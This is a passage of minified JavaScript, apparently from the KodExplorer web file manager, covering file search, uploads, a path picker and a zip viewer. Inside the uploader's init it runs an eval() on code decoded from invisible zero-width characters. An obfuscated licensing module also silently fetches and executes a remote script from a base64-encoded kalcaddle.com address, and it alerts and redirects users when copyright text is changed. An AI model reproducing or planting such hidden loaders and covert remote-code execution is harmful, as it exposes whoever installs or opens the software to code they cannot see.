ype:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],actionscript:[{reg:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/g,reg_name:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/,reg_index:1,type:"function"},{reg:/\s*class\s+(\w+)\s*.*\{/g,reg_name:/\s*class\s+(\w+)\s*.*\{/,reg_index:1,type:"class"}],objectivec:[{reg:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/g,reg_name:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/,reg_index:1,type:"function"},{reg:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/g,reg_name:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/,reg_index:1,type:"function"},{reg:/@implementation\s+(\w*)/g,reg_name:/@implementation\s+(\w*)/,reg_index:1,type:"class"},{reg:/#pragma\s+(mark\s+)?(.*)/g,reg_name:/#pragma\s+(mark\s+)?(.*)/,reg_index:2,type:"mark"}],c_cpp:[{reg:/([\w*]+\s+)+\*?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s+(\w+)\s*\(/,reg_index:1,type:"function"},{reg:/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s*(\w+)::~?(\w+)\s*\(/,reg_index:2,type:"function function_define"},{reg:/\s*class\s+(\w+)\s*:/g,reg_name:/\s*class\s+(\w+)\s*:/,reg_index:1,type:"class"}]},t=function(e,t){var i=e.match(t.reg);
+},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files) "),e.data.error_info&&i.html(""+LNG.seach_result_too_more+" ")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+' ').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",' '," ",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",' ',"iconSmall","iconSrc",' ',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o=''+'
'+core.pathThis(e)+" "+'
0b '+'
'+LNG.upload_ready+" "+'
'+'
';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o=''+'
'+htmlEncode(core.pathThis(a))+" "+'
'+core.fileSize(e.size)+" "+'
'+LNG.upload_ready+" "+'
'+'
';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o=' ';"file"==e.type&&(o+=''+e.allowExt+" "),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before(''+core.iconSmall(o)+" ").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s=" ";a.before(s)}var r=''+date(LNG.time_type,t.mtime)+" ";r+=''+core.fileSize(t.size)+" ",r+='',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var 